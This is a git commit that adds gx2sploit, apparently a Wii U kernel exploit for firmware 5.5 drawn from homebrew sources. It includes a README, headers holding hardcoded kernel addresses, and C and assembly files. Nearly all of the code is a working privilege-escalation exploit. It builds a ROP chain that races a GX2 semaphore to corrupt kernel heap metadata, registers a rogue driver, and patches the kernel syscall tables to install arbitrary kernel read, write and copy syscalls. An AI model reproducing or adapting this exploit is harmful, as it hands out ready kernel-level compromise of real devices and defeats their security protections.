first commit

This commit is contained in:
orboditilt 2019-01-24 16:52:38 +01:00
commit 986083097c
5 changed files with 475 additions and 0 deletions

20
README.md Normal file
View File

@ -0,0 +1,20 @@
# gx2sploit - a Wii U kernel exploit
A Wii U kernel exploit created by libwiiu.
Currently this repo only works on FW 5.5, adjust the defines in the headers to supports other FWs
# Usage
Call `run_kexploit` with a valid `coreinit_handle`, aftwards you can use the kernel_read,kernel_write and KernelCopyData functions defined in `kexploit.h`
**Make sure to have GX2 running before using the exploits, the exploit also needs to be called from the main GX2 core.**
# Credits
- [original sources](https://github.com/wiiudev/libwiiu/tree/master/kernel/gx2sploit)
- Marionumber1
- TheKit
- Hykem
- comex
- Chadderz
- Relys
- NWPlayer123
- Mathew_Wi

65
kcommon.h Normal file
View File

@ -0,0 +1,65 @@
#ifndef _K_COMMON_H_
#define _K_COMMON_H_
#ifdef __cplusplus
extern "C" {
#endif
#include <stdint.h>
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
#define OSFatal ((void (*)(char* msg))0x01031618)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)
#define BUS_SPEED 248625000
#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4))
typedef struct OSContext_ {
char tag[8];
uint32_t gpr[32];
uint32_t cr;
uint32_t lr;
uint32_t ctr;
uint32_t xer;
uint32_t srr0;
uint32_t srr1;
uint32_t ex0;
uint32_t ex1;
uint32_t exception_type;
uint32_t reserved;
double fpscr;
double fpr[32];
uint16_t spinLockCount;
uint16_t state;
uint32_t gqr[8];
uint32_t pir;
double psf[32];
uint64_t coretime[3];
uint64_t starttime;
uint32_t error;
uint32_t attributes;
uint32_t pmc1;
uint32_t pmc2;
uint32_t pmc3;
uint32_t pmc4;
uint32_t mmcr0;
uint32_t mmcr1;
} OSContext;
#ifdef __cplusplus
}
#endif
#endif

304
kexploit.c Normal file
View File

@ -0,0 +1,304 @@
#include "kcommon.h"
#include "kexploit.h"
extern void SCKernelCopyData(uint32_t addr, uint32_t src, uint32_t len);
/* Initial setup code stolen from Pong, makes race much more reliable */
void run_kexploit(uint32_t coreinit_handle){
/* Get a handle to coreinit.rpl and gx2.rpl */
uint32_t gx2_handle = 0;
unsigned int* functionPointer;
OSDynLoad_Acquire("gx2.rpl", &gx2_handle);
/* Exit functions */
void (*__PPCExit)();
void (*_Exit)(int32_t);
void* (*MEMAllocFromDefaultHeapEx)(uint32_t size, uint32_t align);
void (*MEMFreeToDefaultHeap)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
MEMAllocFromDefaultHeapEx = (void*(*)(uint32_t, uint32_t))*functionPointer;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
/* Memory functions */
void (*DCFlushRange)(void *buffer, uint32_t length);
void (*DCInvalidateRange)(void *buffer, uint32_t length);
void (*DCTouchRange)(void *buffer, uint32_t length);
uint32_t (*OSEffectiveToPhysical)(void *vaddr);
void* (*OSAllocFromSystem)(uint32_t size, int32_t align);
void (*OSFreeToSystem)(void *ptr);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
OSDynLoad_FindExport(coreinit_handle, 0, "DCTouchRange", &DCTouchRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
/* OS thread functions */
bool (*OSCreateThread)(void *thread, void *entry, int32_t argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
int32_t (*OSResumeThread)(void *thread);
void (*OSExitThread)();
int32_t (*OSIsThreadTerminated)(void *thread);
void (*OSYieldThread)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
/* OSDriver functions */
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
/* GX2 functions */
void (*GX2SetSemaphore)(uint64_t *sem, int32_t action);
void (*GX2Flush)(void);
OSDynLoad_FindExport(gx2_handle, 0, "GX2SetSemaphore", &GX2SetSemaphore);
OSDynLoad_FindExport(gx2_handle, 0, "GX2Flush", &GX2Flush);
/* Allocate space for DRVHAX */
uint32_t *drvhax = OSAllocFromSystem(0x4c, 4);
/* Set the kernel heap metadata entry */
uint32_t *metadata = (uint32_t*) (KERN_HEAP + METADATA_OFFSET + (0x02000000 * METADATA_SIZE));
metadata[0] = (uint32_t)drvhax;
metadata[1] = (uint32_t)-0x4c;
metadata[2] = (uint32_t)-1;
metadata[3] = (uint32_t)-1;
/* Find some gadgets */
uint32_t gx2data[] = {0xfc2a0000};
uint32_t gx2data_addr = (uint32_t) find_gadget(gx2data, 0x04, 0x10000000);
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, 0x01000000);
uint32_t r30r31load[] = {0x80010014, 0x83e1000c, 0x7c0803a6, 0x83c10008, 0x38210010, 0x4e800020};
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, 0x01000000);
uint32_t doflush[] = {0xba810008, 0x8001003c, 0x7c0803a6, 0x38210038, 0x4e800020, 0x9421ffe0, 0xbf61000c, 0x7c0802a6, 0x7c7e1b78, 0x7c9f2378, 0x90010024};
uint32_t doflush_addr = (uint32_t) find_gadget(doflush, 0x2C, 0x01000000) + 0x14 + 0x18;
/* Modify a next ptr on the heap */
uint32_t kpaddr = KERN_HEAP_PHYS + STARTID_OFFSET;
/* Make a thread to modify the semaphore */
OSContext *thread = (OSContext*)MEMAllocFromDefaultHeapEx(0x1000, 8);
uint32_t *stack = (uint32_t*)MEMAllocFromDefaultHeapEx(0xA0, 0x20);
if (!OSCreateThread(thread, (void*)0x11a1dd8, 0, NULL, ((uint32_t)stack) + 0xA0, 0xA0, 0, 0x1 | 0x8)) {
OSFatal("Failed to create thread");
}
/* Set up the ROP chain */
thread->gpr[1] = (uint32_t)stack;
thread->gpr[3] = kpaddr;
thread->gpr[30] = gx2data_addr;
thread->gpr[31] = 1;
thread->srr0 = ((uint32_t)GX2SetSemaphore) + 0x2C;
stack[0x24/4] = r30r31load_addr; /* Load r30/r31 - stack=0x20 */
stack[0x28/4] = gx2data_addr; /* r30 = GX2 data area */
stack[0x2c/4] = 1; /* r31 = 1 (signal) */
stack[0x34/4] = r3r4load_addr; /* Load r3/r4 - stack=0x30 */
stack[0x38/4] = kpaddr;
stack[0x44/4] = ((uint32_t)GX2SetSemaphore) + 0x2C; /* GX2SetSemaphore() - stack=0x40 */
stack[0x64/4] = r30r31load_addr; /* Load r30/r31 - stack=0x60 */
stack[0x68/4] = 0x100; /* r30 = r3 of do_flush = 0x100 */
stack[0x6c/4] = 1; /* r31 = r4 of do_flush = 1 */
stack[0x74/4] = doflush_addr; /* do_flush() - stack=0x70 */
stack[0x94/4] = (uint32_t)OSExitThread;
DCFlushRange(thread, 0x1000);
DCFlushRange(stack, 0x1000);
/* Start the thread */
OSResumeThread(thread);
/* Wait for a while */
while(OSIsThreadTerminated(thread) == 0) {
OSYieldThread();
}
/* Free stuff */
MEMFreeToDefaultHeap(thread);
MEMFreeToDefaultHeap(stack);
/* Register a new OSDriver, DRVHAX */
char drvname[6] = {'D', 'R', 'V', 'H', 'A', 'X'};
Register(drvname, 6, NULL, NULL);
/* Use DRVHAX to install the read and write syscalls */
uint32_t syscalls[2] = {KERN_CODE_READ, KERN_CODE_WRITE};
/* Modify its save area to point to the kernel syscall table */
drvhax[0x44/4] = KERN_SYSCALL_TBL_1 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_2 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_3 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_4 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
drvhax[0x44/4] = KERN_SYSCALL_TBL_5 + (0x34 * 4);
CopyToSaveArea(drvname, 6, syscalls, 8);
/* Clean up the heap and driver list so we can exit */
kern_write((void*)(KERN_HEAP + STARTID_OFFSET), 0);
kern_write((void*)KERN_DRVPTR, drvhax[0x48/4]);
// Install CopyData syscall
kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (uint32_t)SCKernelCopyData);
}
/* Simple memcmp() implementation */
int32_t memcmp(void *ptr1, void *ptr2, uint32_t length) {
uint8_t *check1 = (uint8_t*) ptr1;
uint8_t *check2 = (uint8_t*) ptr2;
uint32_t i;
for (i = 0; i < length; i++) {
if (check1[i] != check2[i])
return 1;
}
return 0;
}
void* memcpy(void* dst, const void* src, uint32_t size) {
uint32_t i;
for (i = 0; i < size; i++)
((uint8_t*) dst)[i] = ((const uint8_t*) src)[i];
return dst;
}
/* Find a gadget based on a sequence of words */
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start) {
uint32_t *ptr;
/* Search code before JIT area first */
for (ptr = (uint32_t*) gadgets_start; ptr != (uint32_t*) JIT_ADDRESS; ptr++) {
if (!memcmp(ptr, &code[0], length))
return ptr;
}
/* Restart search after JIT */
for (ptr = (uint32_t*) CODE_ADDRESS_START; ptr != (uint32_t*) CODE_ADDRESS_END; ptr++) {
if (!memcmp(ptr, &code[0], length))
return ptr;
}
OSFatal("Gadget not found!");
return (void*)0;
}
/* Read a 32-bit word with kernel permissions */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr) {
uint32_t result;
asm volatile (
"li 3,1\n"
"li 4,0\n"
"li 5,0\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%1\n"
"li 0,0x3400\n"
"mr %0,1\n"
"sc\n"
"nop\n"
"mr 1,%0\n"
"mr %0,3\n"
: "=r"(result)
: "b"(addr)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
return result;
}
/* Write a 32-bit word with kernel permissions */
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) {
asm volatile (
"li 3,1\n"
"li 4,0\n"
"mr 5,%1\n"
"li 6,0\n"
"li 7,0\n"
"lis 8,1\n"
"mr 9,%0\n"
"mr %1,1\n"
"li 0,0x3500\n"
"sc\n"
"nop\n"
"mr 1,%1\n"
:
: "r"(addr), "r"(value)
: "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10",
"11", "12"
);
}
void KernelWrite(uint32_t addr, const void *data, uint32_t length, uint32_t coreinit_handle) {
// This is a hacky workaround, but currently it only works this way. ("data" is always on the stack, so maybe a problem with mapping values from the JIT area?)
// further testing required.
for(int32_t i = 0; i<length; i +=4) {
KernelWriteU32(addr + i, *(uint32_t*)(data +i), coreinit_handle);
}
}
void KernelWriteU32(uint32_t addr, uint32_t value, uint32_t coreinit_handle) {
void* (*OSEffectiveToPhysical)(const void*);
void (*DCFlushRange)(const void *addr, uint32_t length);
void (*ICInvalidateRange)(const void *addr, uint32_t length);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
ICInvalidateRange(&value, 4);
DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) OSEffectiveToPhysical((void *)addr);
uint32_t src = (uint32_t) OSEffectiveToPhysical((void *)&value);
SC_KernelCopyData(dst, src, 4);
DCFlushRange((void *)addr, 4);
ICInvalidateRange((void *)addr, 4);
}
void KernelWriteU32FixedAddr(uint32_t addr, uint32_t value, uint32_t coreinit_handle) {
void* (*OSEffectiveToPhysical)(const void*);
void (*DCFlushRange)(const void *addr, uint32_t length);
void (*ICInvalidateRange)(const void *addr, uint32_t length);
OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &OSEffectiveToPhysical);
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
ICInvalidateRange(&value, 4);
DCFlushRange(&value, 4);
uint32_t dst = (uint32_t) addr;
uint32_t src = (uint32_t) OSEffectiveToPhysical((void *)&value);
SC_KernelCopyData(dst, src, 4);
}

59
kexploit.h Normal file
View File

@ -0,0 +1,59 @@
#ifndef KEXPLOIT_H
#define KEXPLOIT_H
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
/* Wait times for CPU0 and CPU2 */
#define CPU0_WAIT_TIME 80
#define CPU2_WAIT_TIME 92
/* Gadget finding addresses */
#define JIT_ADDRESS 0x01800000
#define CODE_ADDRESS_START 0x0D800000
#define CODE_ADDRESS_END 0x0F848A0C
/* Kernel addresses, stolen from Chadderz */
#define KERN_HEAP 0xFF200000
#define KERN_HEAP_PHYS 0x1B800000
#define KERN_SYSCALL_TBL_1 0xFFE84C70 // unknown
#define KERN_SYSCALL_TBL_2 0xFFE85070 // works with games
#define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader
#define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu
#define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL)
#define KERN_CODE_READ 0xFFF023D4
#define KERN_CODE_WRITE 0xFFF023F4
#define KERN_ADDRESS_TBL 0xFFEAB7A0
#define KERN_DRVPTR (KERN_ADDRESS_TBL - 0x270)
/* Browser PFID */
#define PFID_BROWSER 8
/* Kernel heap constants */
#define STARTID_OFFSET 0x08
#define METADATA_OFFSET 0x14
#define METADATA_SIZE 0x10
/* Size of a Cafe OS thread */
#define OSTHREAD_SIZE 0x1000
void run_kexploit(uint32_t coreinit_handle);
void KernelWrite(uint32_t addr, const void *data, uint32_t length, uint32_t coreinit_handle);
void KernelWriteU32(uint32_t addr, uint32_t value, uint32_t coreinit_handle);
void KernelWriteU32FixedAddr(uint32_t addr, uint32_t value, uint32_t coreinit_handle);
extern void SC_KernelCopyData(uint32_t dst, uint32_t src, uint32_t len);
void *find_gadget(uint32_t code[], uint32_t length, uint32_t gadgets_start);
/* Arbitrary read and write syscalls */
uint32_t __attribute__ ((noinline)) kern_read(const void *addr);
void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value);
#endif /* KEXPLOIT_H */

27
syscalls.S Normal file
View File

@ -0,0 +1,27 @@
.global SCKernelCopyData
SCKernelCopyData:
// Disable data address translation
mfmsr %r6
li %r7, 0x10
andc %r6, %r6, %r7
mtmsr %r6
// Copy data
addi %r3, %r3, -1
addi %r4, %r4, -1
mtctr %r5
SCKernelCopyData_loop:
lbzu %r5, 1(%r4)
stbu %r5, 1(%r3)
bdnz SCKernelCopyData_loop
// Enable data address translation
ori %r6, %r6, 0x10
mtmsr %r6
blr
.global SC_KernelCopyData
SC_KernelCopyData:
li %r0, 0x2500
sc
blr